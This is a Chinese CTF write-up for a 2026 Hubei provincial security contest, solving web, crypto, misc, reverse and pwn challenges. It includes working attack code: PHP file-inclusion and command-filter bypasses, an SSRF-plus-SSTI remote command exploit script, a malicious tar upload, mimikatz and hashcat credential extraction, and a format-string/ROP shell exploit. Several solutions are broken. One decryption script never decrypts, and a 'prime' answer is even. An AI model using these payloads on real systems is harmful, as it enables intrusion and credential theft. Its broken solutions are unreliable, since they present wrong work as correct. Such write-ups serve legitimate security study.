2026第十届“楚慧杯”湖北省网络与数据安全实践能力竞赛初赛Writeup
本文记录了2026年第十届"楚慧杯"湖北省网络与数据安全实践能力竞赛初赛的两个Web题目Writeup。第一个题目"拯救芙莉莲"通过robots.txt发现提示,利用php://filter协议绕过黑名单限制进行文件读取,最终拼接flag路径获取flag。第二个题目"cybers"通过触发NumPy整数溢出漏洞修改积分,然后结合SSRF和
2026第十届“楚慧杯”湖北省网络与数据安全实践能力竞赛初赛Writeup
前言:第一次楚慧杯,神仙打架记录下
检材下载:
关注鱼影安全 后台即可下载 永久有效
Web:
拯救芙莉莲:
访问/robots.txt


?spell=echo 1&file=php://filter/read=convert.base64-encode/resource=<(´⌯%20̫⌯%60)>.php ## 任意文件读取

<?php
if (!defined('INCLUDED_ONCE')) {
define('INCLUDED_ONCE', true);
error_reporting(E_ALL);
ini_set('display_errors', 1);
$file = $_GET['file'];
$blacklist = array(
'flag',
'php://input',
'data://',
'expect://',
'file://',
'glob://',
'phar://',
'/etc/passwd',
'/etc/shadow',
'win.ini',
'../',
'..\\',
);
foreach ($blacklist as $bad) {
if (stripos($file, $bad) !== false) {
die('<div class="error-box"><h2>❌ 魔法屏障阻止了你的尝试</h2><p>检测到危险的魔法咒语...</p></div></body></html>');
}
}
include($file);
}
?>
<div class="bg">
天哪,芙芙被宝箱怪困住了,你能施法帮她脱离困境吗......
</div>
<?php
if (isset($_GET['spell'])) {
echo '<div class="error-box">';
echo '<h2>🔮 解开宝箱怪的封印</h2>';
echo '<pre>';
echo "芙芙: \"这个宝箱怪有一个古老的封印,需要正确的魔法咒语才能解开...\"\n";
echo "芙芙: \"我记得封印的关键在根目录的某个文件里...\"\n";
echo "芙芙: \"但是宝箱怪的魔法屏障会拒绝某些危险的咒语!\"\n";
echo "芙芙: \"也许你可以用 Linux 命令来读取那个文件?\"\n";
$spell = $_GET['spell'];
echo "你的咒语: " . htmlspecialchars($spell) . "\n";
$forbidden = array('system', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open');
foreach ($forbidden as $bad) {
if (stripos($spell, $bad) !== false) {
die("⚠️ 检测到禁忌的黑魔法!\n芙芙: \"宝箱怪拒绝了这个咒语...\"\n</pre></div></body></html>");
}
}
if (stripos($spell, 'flag') !== false) {
die("⚠️ 宝箱怪的魔法屏障启动了!它不允许直接念出 'flag' 这个词!\n</pre></div></body></html>");
}
$blocked_commands = array('cat', 'tac', 'nl', 'more', 'less', 'head', 'tail', 'sort', 'uniq', 'strings', 'od', 'xxd', 'hexdump', 'grep', 'awk', 'sed', 'cut', 'rev', 'base64', 'env');
foreach ($blocked_commands as $cmd) {
if (stripos($spell, $cmd) !== false) {
die("⚠️ 宝箱怪识破了你的咒语!命令 '$cmd' 已被封印!\n芙芙: \"这些常用的命令都被屏蔽了...得想想其他办法...\"\n</pre></div></body></html>");
}
}
echo "施法中...\n";
echo "━━━━━━━━━━━━━━━━━━━━\n";
$result = shell_exec($spell);
if ($result) {
echo "✨ 封印解除了!宝箱怪消失了!\n\n";
echo "【施法结果】:\n";
echo $result;
echo "\n━━━━━━━━━━━━━━━━━━━━\n";
echo "芙芙: \"太棒了!你成功救出了我!这是我珍藏的神秘卷轴,看看里面有什么~\"\n";
} else {
echo "❌ 咒语似乎没有效果...\n";
echo "芙芙: \"也许需要调整一下咒语的内容?\"\n";
}
echo '</pre>';
echo '</div>';
}
?>
?spell=php%20-r%20%22readfile(%27/fl%27.%27ag%27);%22

DASCTF{66700295200095972838110428641601}
cybers:
点击 "CONNECT" 按钮。这会访问 /initialize ,并给你分配一个 Session Cookie


接下来需要将你的积分变成正数,这会触发 NumPy 整数溢出
/hack?amount=-9223372036854775808
最后利用 SSRF 和 SSTI 获取 Flag payload:
import requests
import urllib.parse
import re
import sys
import argparse
from colorama import init, Fore, Style
init(autoreset=True)
class CyberMarketExploit:
def __init__(self, target_url, proxy=None):
self.target = target_url.rstrip('/')
self.session = requests.Session()
if proxy:
self.session.proxies = {
'http': proxy,
'https': proxy
}
self.log(f"Using proxy: {proxy}", Fore.YELLOW)
def log(self, message, color=Fore.WHITE):
print(f"{color}[*] {message}{Style.RESET_ALL}")
def success(self, message):
print(f"{Fore.GREEN}[+] {message}{Style.RESET_ALL}")
def error(self, message):
print(f"{Fore.RED}[-] {message}{Style.RESET_ALL}")
sys.exit(1)
def relay_raw(self, raw_http):
try:
resp = self.session.post(
f"{self.target}/relay",
data={"port": "5000", "data": raw_http},
timeout=15
)
resp.raise_for_status()
return resp.text
except requests.exceptions.RequestException as e:
self.error(f"Relay request failed: {e}")
def extract_cookie(self, resp_text):
match = re.search(r'Set-Cookie: session=([^;]+)', resp_text)
return match.group(1) if match else None
def setup_exploit_chain(self):
self.log("Initializing session...")
try:
self.session.get(f"{self.target}/initialize", timeout=10)
except Exception as e:
self.error(f"Failed to connect to target: {e}")
self.log("Getting backend session cookie via SSRF...")
raw_init = "GET /initialize HTTP/1.1\r\nHost: 127.0.0.1:5000\r\n\r\n"
resp_init = self.relay_raw(raw_init)
cookie = self.extract_cookie(resp_init)
if not cookie:
self.error("Failed to retrieve initial session cookie")
self.log(f"Initial Cookie: {cookie[:10]}...", Fore.CYAN)
self.log("Triggering Integer Overflow to gain credits...")
payload_amount = "-9223372036854775808"
raw_hack = (
f"GET /hack?amount={payload_amount} HTTP/1.1\r\n"
f"Host: 127.0.0.1:5000\r\n"
f"Cookie: session={cookie}\r\n\r\n"
)
resp_hack = self.relay_raw(raw_hack)
new_cookie = self.extract_cookie(resp_hack)
if new_cookie:
self.success("Integer Overflow successful! Credits updated.")
return new_cookie
elif "Hack successful" in resp_hack:
return cookie
else:
self.error("Hack failed. Response: " + resp_hack[:100])
def build_ssti_payload(self, cmd):
self.log(f"Building SSTI payload for command: {cmd}")
parts = [
'{%set ud=lipsum|string|batch(19)|first|last%}',
'{%set gl=ud~ud~(dict(glob=1,als=1)|join)~ud~ud%}',
'{%set gi=ud~ud~(dict(get=1,it=1,em=1)|join)~ud~ud%}',
'{%set gd=lipsum|attr(gl)%}',
'{%set bi=ud~ud~(dict(built=1,ins=1)|join)~ud~ud%}',
'{%set bd=gd|attr(gi)(bi)%}',
'{%set im=ud~ud~(dict(im=1,port=1)|join)~ud~ud%}',
'{%set xx=dict(o=1,s=1)|join%}',
'{%set omod=bd|attr(gi)(im)(xx)%}',
'{%set po=dict(po=1,pen=1)|join%}',
'{%set cr=dict(chr=1)|join%}',
'{%set CF=bd|attr(gi)(cr)%}',
]
cmd_expr = '~'.join([f'CF({ord(c)})' for c in cmd])
parts.append('{%set cmd=' + cmd_expr + '%}')
parts.append('{%print(omod|attr(po)(cmd)|attr(dict(re=1,ad=1)|join)())%}')
return ''.join(parts)
def execute_command(self, cmd):
cookie = self.setup_exploit_chain()
payload = self.build_ssti_payload(cmd)
body = f"fragment={urllib.parse.quote(payload)}"
raw_req = (
f"POST /market HTTP/1.1\r\n"
f"Host: 127.0.0.1:5000\r\n"
f"Cookie: session={cookie}\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {len(body)}\r\n\r\n"
f"{body}"
)
self.log("Sending SSTI payload...", Fore.MAGENTA)
resp = self.relay_raw(raw_req)
match = re.search(r"<h3>.*?'(.*?)'.*?</h3>", resp, re.DOTALL)
if match:
output = match.group(1).strip()
try:
if output.startswith("b'") or output.startswith("'"):
output = eval(output)
if isinstance(output, bytes):
output = output.decode('utf-8', errors='ignore')
except:
pass
return output
else:
return resp
def main():
parser = argparse.ArgumentParser(description="CyberMarket CTF Auto Exploit")
parser.add_argument("-u", "--url", default="http://45.40.247.139:30879", help="Target URL")
parser.add_argument("-c", "--cmd", help="Custom command to execute", default="tar cf - /flag 2>/dev/null | tar xf - --to-stdout")
parser.add_argument("-p", "--proxy", help="HTTP Proxy (e.g. http://127.0.0.1:8080)")
args = parser.parse_args()
exploit = CyberMarketExploit(args.url, args.proxy)
exploit.log(f"Target: {args.url}")
exploit.log(f"Command: {args.cmd}")
result = exploit.execute_command(args.cmd)
print("\n" + "="*50)
print(f"{Fore.GREEN}COMMAND OUTPUT:{Style.RESET_ALL}")
print("="*50)
print(result)
print("="*50)
if "DASCTF" in result or "flag{" in result.lower():
print(f"\n{Fore.GREEN}[!] Flag found!{Style.RESET_ALL}")
if __name__ == "__main__":
main()

DASCTF{76090477024689615158403187194100}
Fisafopil:
题目内容:我们的系统采用先进的加密和验证机制,确保数据的安全性与完整性。请确保您的登录信息安全,妥善保管账号密码。
先注册登录: 修改个人信息测试sql注入,发现存在sqlite注入



刷新拿到hash:
然后使用md5扩展攻击: hashpump -s 1b897e9ce44716e073efc1559dced779 -d "test" -l 20 -a "EXT"
替换成管理员的hash为
5f4dcc3b5aa765d61d8327deb882cf99

登录admin ,然后目录穿越覆盖掉info.html 写入ssti语句

<!DOCTYPE html><html><body>{{ lipsum.__globals__["os"].popen("cat /flag").read()
}}</body></html>
上传tar包即可:
curl -X POST "http://45.40.247.139:24141/admin/restore" \-H "Cookie:
session=eyJ1c2VybmFtZSI6ICJhZG1pbiJ9.aa_VIw.Qho1hnMDg9UBaGVJ_NJrCfl2eis;" \-H "Content-Type: multipart/form-data; boundary=----
WebKitFormBoundary7MA4YWxkTrZu0gW" \-F "restore_file=@evil.tar;type=application/x-tar" \-v
然后查看info信息即可:

Crypto:
Flip:
题目内容:Seems so many bits known!
k=flip(256)
r=pow(g,k,p)
s=inverse(k,p) * (i+r*d) %p
m = i 一共有五组标签 关键漏洞:nonce k 不是随机生成,而是:10101xyz
其中:xyz 为随机 bit 所以每个字节只能是:0xA8 ~ 0xAF
因此:每字节只有3bit随机 总随机性:32 × 3 = 96bit 这是一个 biased nonce。



恢复 flag 源码中:d = flag正文 + 随机padding 所以:long_to_bytes(d)
from Crypto.Util.number import *
from fpylll import *
from fpylll.algorithms.bkz import BKZReduction
p = 71100374110712069688668891376502810245640088780564855438789152163485489371751
data = [
(28285613871231310640779639473901158789539111552315215487796222768188014946190,26227626146853365468070394748025813676883717455365705026242089396817666141149),
(26126343100952318312992351606027346470307966676167073519850533997742307763173,14620119507969980035515863104967829444815591632534197769232561325577348982289),
(6275780641102104914321094704687354889900656957520025439748906503860424049255,17138154832682193571532283943639841813795519294633367500729430287205754722383),
(70074830218018060401156682458161679247596227822712273801560023880579237944207,7241759400261146571231207923652617524886465143836459562831120970876560955603),
(58010164614616186321967235608825740148005793483553468415042960153988671899689,11042506367122208018546854524444698969622593890076172637272391555458027253012)
]
base = int.from_bytes(b"\xA8"*32,"big")
pow256 = [256**i for i in range(32)]
def attack():
r1,s1 = data[0]
r2,s2 = data[1]
coef = [(r2*s1*(256**i))%p for i in range(32)]
coef += [(-r1*s2*(256**i))%p for i in range(32)]
const = (r2*0 - r1*1 - base*(r2*s1-r1*s2))%p
dim = len(coef)
M = IntegerMatrix(dim+1,dim+1)
for i in range(dim):
M[i,i] = 1
M[i,dim] = coef[i]*20
M[dim,dim] = p*20
target = [3]*dim + [const*20]
LLL.reduction(M)
bkz = BKZReduction(M)
bkz(BKZ.Param(30))
res = CVP.babai(M,target)
xs = [int(res[i]) for i in range(dim)]
k1 = base
for i in range(32):
k1 += xs[i]*pow256[i]
d = ((s1*k1) * inverse(r1,p)) % p
print(long_to_bytes(d))
attack()
##DASCTF{Just_f3w_Bit5_fl1pp1ng}
GCD,杠上了
题目内容:又是GCD,我该如何得到公共因数p的值呢 请使用"DASCTF{“+sha256(hex§.encode()).hexdigest()[:32]+”}"计算得到flag
from Crypto.Util.number import getPrime, getRandomRange
def gen(k:int, gamma: int, eta: int, rho: int):
xs = []
qs = []
es = []
p = getPrime(eta)
for _ in range(k):
q = getPrime(gamma - eta)
e = getRandomRange(-pow(2, rho-1) + 1, pow(2, rho-1) - 1)
qs.append(q)
es.append(e)
xs.append(p * q + e)
return p, qs, es, xs
k = 4
eta = 768
gamma = 1000 + eta
rho = 256
p, qs, es, xs = gen(k, gamma, eta, rho)
print(p)
for x in xs:
print(x)

print§ 这个代码说明: 第一行就是秘密值 p 恢复 p:
7286602644894347905698877185006886062766603336098651145708618257426896498601438194818405176376998357154846239925108795918211744886731571266744871908463835351995189784312085830285088365342080806811314047882453402592133074499069282870744236160215512216478789267594028132748508140080189837224089073913522991827904722259140858601642592466315776021315586438508197663608590812749450817365064347439560883042009204050351693713820588889060849655679914847278675752145553961823946981967169055185529737402521407509263021789077125016742255715760
根据题目要求: 需要对恢复出的 p 进行处理,最终得到答案 : eead8ea2b3519a2273a5292375e31009
p = 7286602644894347905698877185006886062766603336098651145708618257426896498601438194818405176376998357154846239925108795918211744886731571266744871908463835351995189784312085830285088365342080806811314047882453402592133074499069282870744236160215512216478789267594028132748508140080189837224089073913522991827904722259140858601642592466315776021315586438508197663608590812749450817365064347439560883042009204050351693713820588889060849655679914847278675752145553961823946981967169055185529737402521407509263021789077125016742255715760
print(p)
MISC:
game_go_1:
这是一个 RPG Maker VX Ace 打包的自解压游戏程序,游戏目录结构

直接编写脚本提取类似flag的格式
import os, re, zlib, sys
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
DATA_DIR = os.path.join(SCRIPT_DIR, "gamego", "Data")
if not os.path.isdir(DATA_DIR):
# Fallback to other possible locations if needed
potential_paths = [
os.path.join(SCRIPT_DIR, "Data"),
os.path.join(SCRIPT_DIR, "gamego", "extracted", "Data")
]
for p in potential_paths:
if os.path.isdir(p):
DATA_DIR = p
break
def extract_segment1(data_dir):
weapons_path = os.path.join(data_dir, "Weapons.rvdata2")
if not os.path.isfile(weapons_path):
print(f"[ERROR] Weapons.rvdata2 not found at {weapons_path}")
sys.exit(1)
with open(weapons_path, 'rb') as f:
data = f.read()
idx = data.find(b'DASCTF{')
if idx < 0:
print("[ERROR] DASCTF{ not found in Weapons.rvdata2")
sys.exit(1)
prefix = "DASCTF{"
m = re.search(rb'([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-)', data)
if not m:
print("[ERROR] UUID segment not found in Weapons.rvdata2")
sys.exit(1)
seg1 = m.group(1).decode('ascii')
return prefix, seg1
def extract_segment2(data_dir):
scripts_path = os.path.join(data_dir, "Scripts.rvdata2")
if not os.path.isfile(scripts_path):
print(f"[ERROR] Scripts.rvdata2 not found at {scripts_path}")
sys.exit(1)
with open(scripts_path, 'rb') as f:
data = f.read()
flag_idx = data.rfind(b'flag')
if flag_idx < 0:
print("[ERROR] 'flag' script not found in Scripts.rvdata2")
sys.exit(1)
for i in range(flag_idx, min(flag_idx + 200, len(data) - 2)):
if data[i] == 0x78 and data[i+1] in (0x9C, 0x01, 0xDA, 0x5E):
for endpos in range(i + 2, min(i + 50000, len(data))):
try:
result = zlib.decompress(data[i:endpos])
return result.decode('utf-8').strip()
except zlib.error:
continue
break
print("[ERROR] Could not decompress 'flag' script content")
sys.exit(1)
def main():
if not os.path.isdir(DATA_DIR):
print(f"[ERROR] Data directory not found: {DATA_DIR}")
sys.exit(1)
prefix, seg1 = extract_segment1(DATA_DIR)
seg2 = extract_segment2(DATA_DIR)
flag = prefix + seg1 + seg2
print(f"Segment 1 (Weapons): {seg1}")
print(f"Segment 2 (Scripts): {seg2}")
print(f"\nFlag: {flag}")
if __name__ == "__main__":
main()
直接拼接后 UUID 部分变成 1168cb17-31ff-43b7--b586-8414d383afce

SAM_and_Steg:
where is my password? where is my flag?
先使用 mimikatz 提取 NTLM
mimikatz # lsadump::sam /sam:sam /system:system
Domain : DUCTF-AD
SysKey : a88f47504785ba029e8fa532c4c9e27b
Local SID : S-1-5-21-2461790198-1013503533-1008536141
SAMKey : 848804bda5d876ca7027beeee0efdd7c
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 476b4dddbbffde29e739b618580adb1e
RID : 000001f5 (501)
User : Guest
hashcat爆破拿到 !checkerboard1
先使用 mimikatz 提取 NTLM
mimikatz # lsadump::sam /sam:sam /system:system
Domain : DUCTF-AD
SysKey : a88f47504785ba029e8fa532c4c9e27b
Local SID : S-1-5-21-2461790198-1013503533-1008536141
SAMKey : 848804bda5d876ca7027beeee0efdd7c
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 476b4dddbbffde29e739b618580adb1e
RID : 000001f5 (501)
User : Guest
hashcat爆破拿到 !checkerboard1
476b4dddbbffde29e739b618580adb1e:!checkerboard1
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1000 (NTLM)
Hash.Target......: 476b4dddbbffde29e739b618580adb1e
Time.Started.....: Tue Mar 10 06:02:10 2026, (12 secs)
Time.Estimated...: Tue Mar 10 06:02:22 2026, (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1221.3 kH/s (0.09ms) @ Accel:256 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 14340096/14344385 (99.97%)
Rejected.........: 0/14340096 (0.00%)
Restore.Point....: 14339072/14344385 (99.96%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: !jrp2pep03! -> !carragold!
Hardware.Mon.#1..: Util: 25%
Started: Tue Mar 10 06:02:06 2026
Stopped: Tue Mar 10 06:02:24 2026
然后再 sam system这个两文件分别可以提取出一个密码和一张图片,
使用上面的密码解密这图片可以拿到 一个 aes 文件

根据图片上的提示知道是 openssl 然后解密即可
openssl enc -d -aes-256-cbc -md sha256 -k p@s4w0rd -in AES256 -out 1.gz
tar -xvf 1.gz
DASCTF{aa28f51d-0f54-4286-af3c-86a14fbab4a4}
Time_and_chaos:
这题其实不用想太复杂,核心就两步:
- 图片里藏前半段 flag
- txt 里藏后半段 flag 很明显 0 宽隐写

这 8 张 png 虽然看起来乱,但是它们可以一起处理。
最简单的方法就是:
● 把 1.png ~ 8.png 全部读进来
● 对每个像素求平均值
● 再把图像颜色反相
这样噪声会被抵消,隐藏的字会变清楚。处理之后,在图片右上角可以看到前半段: DASCTF{Logistic_and flag.txt 里真正有用的不是能看见的文字,而是那些看不见的零宽字符。
把文件里的零宽字符提取出来,只保留这几种:
● U+200C
● U+200D
● U+202C
● U+FEFF
然后把它们按 2bit 去映射:
- U+200C -> 00
- U+200D -> 01
- U+202C -> 10
- U+FEFF -> 11
这样就能得到一串二进制。接着:每 8 位转成一个字节拼成 bytes 用 UTF-16BE 解码
最后能得到后半段:_time_fly}
然后拼接: DASCTF{Logistic_and_time_fly} 答案提交里面的内容 Logistic_and_time_fly
Reverse:
眼见为虚_1:
- 程序主流程分析
用 IDA Pro 反编译主函数 sub_401522:

这道题的程序使用了修改版 TEA 加密 + XOR 的组合来验证 flag:
● 先通过一个修改版 TEA 算法生成 8 字节密钥
● 再用这个 8 字节密钥去对用户输入做 XOR
● 最后把 XOR 后的结果和程序内置的 40 字节密文逐字节比较


因为 TEA 输入和 key 都是固定的,所以直接写脚本模拟 32 轮即可
def tea_encrypt():
v0 = 0x18274A3A
v1 = 0x24F8D42F
k = [0x9C8793BF, 0xBB5C1044, 0x2FEA4F74, 0xA142ED8B]
delta = 0xDEADBEEF
sum_ = 0
for _ in range(32):
sum_ = (sum_ + delta) & 0xffffffff
v0 = (v0 + (((v1 << 4) + k[0]) ^ (v1 + sum_) ^ ((v1 >> 5) + k[1]))) & 0xffffffff
v1 = (v1 - (((v0 << 4) + k[2]) ^ (v0 + sum_) ^ ((v0 >> 5) + k[3]))) & 0xffffffff
return v0, v1
跑完之后会得到两个 32 位整数,把它们按小端或程序实际取字节顺序拆成 8 字节,
就是后续 XOR 用的基础密钥。 下面写个解密脚本:
import struct
def tea_encrypt():
v0 = 0x18274A3A
v1 = 0x24F8D42F
k = [0x9C8793BF, 0xBB5C1044, 0x2FEA4F74, 0xA142ED8B]
delta = 0xDEADBEEF
sum_ = 0
for _ in range(32):
sum_ = (sum_ + delta) & 0xffffffff
v0 = (v0 + (((v1 << 4) + k[0]) ^ (v1 + sum_) ^ ((v1 >> 5) + k[1]))) & 0xffffffff
v1 = (v1 - (((v0 << 4) + k[2]) ^ (v0 + sum_) ^ ((v0 >> 5) + k[3]))) & 0xffffffff
return v0, v1
# TEA 输出转 8 字节
v0, v1 = tea_encrypt()
tea_bytes = struct.pack("<II", v0, v1) # 按小端拆分,和程序一致
# 程序中的 40 字节硬编码密文(这里替换成你在 IDA 里抄出的那组字节)
target = bytes([
# 把程序里的 40 字节密文填进来
])
# 逆向 XOR
flag = bytearray()
for i in range(len(target)):
key_byte = (tea_bytes[i % 8] + 0x1B) & 0xFF
flag.append(target[i] ^ key_byte)
print(flag.decode())
## DASCTF{64d5de2b4bb3b3f90bb3af2ee6fe72cf}
eazy_code:
题目内容:小黄是一个windows病毒专家,他有一个字节码文件,你能一眼看出来是什么吗?
题目分值: 100.0
拿到附件后先使用 IDA / Ghidra 打开程序进行分析。
程序逻辑非常简单:
- 程序读取用户输入字符串。
- 将输入字符串按 4字节分组。
- 对数据执行一段 加密运算。
- 最终结果与程序内置的数组进行比较。
如果加密结果一致,则输出 Correct。
程序中的目标数组为:
ans = {
1374278842,
2136006540,
4191056815,
3248881376
};
这些数值就是加密后的结果。
在函数中可以看到典型特征:
sum += delta;
v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
这段结构非常典型,是 TEA / XXTEA 加密算法 的特征。
题目中使用的是 简化版 XXTEA,并且是:
● 32轮运算
● 固定 key
由于程序是 加密后再比较,所以只需要 逆运算即可恢复原字符串。
三、逆向恢复
将 ans 数组作为密文输入,通过 XXTEA 解密 即可得到原始数据。
编写简单 Python 脚本进行解密:
import struct
ans = [1374278842,2136006540,4191056815,3248881376]
# 转换为字节
data = b''.join(struct.pack('<I', i) for i in ans)
print(data)
##yOUar3g0oD@tPw5H
Pwn:
house_1:
题目内容:Can you get a proper house
保护全开,change操作中存在格式化字符串漏洞,可以直接泄露 libc,pie,canary


edit有一个read,长度 0x20 可被格串写。

因此直接printf泄露一系列地址,改大nbytes,然后栈溢出写rop链即可。
#!/usr/bin/env python3
from pwn import *
import re
context(log_level='debug',arch='amd64')
libc = ELF('./libc.so.6')
def choose(io, n):
io.recvuntil(b'>> ')
io.sendline(str(n).encode())
def change(io, payload):
choose(io, 2)
io.recvuntil(b'Please write your name:\n')
io.send(payload)
io.recvuntil(b'the name is:\n')
return io.recvline().strip()
io = remote('45.40.247.139',31268)
leak = change(io, b'%13$p-%8$p-%1$p\n').split(b'-')
canary = int(leak[0], 16)
pie = int(leak[1], 16) - 0x14A0
libc.address = int(leak[2], 16) - 0x1ED723
change(io, b'%768c%10$hn'.ljust(0x20, b'A') + p64(pie+0x4010))
rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
binsh = next(libc.search(b'/bin/sh\x00'))
choose(io, 3)
io.recvuntil(b'Please write your content\n')
payload = b'A' * 0x48 + p64(canary) + b'A' * 8 + flat(pop_rdi+1, pop_rdi, binsh, libc.sym.system)
io.send(payload)
io.interactive()

更多推荐
所有评论(0)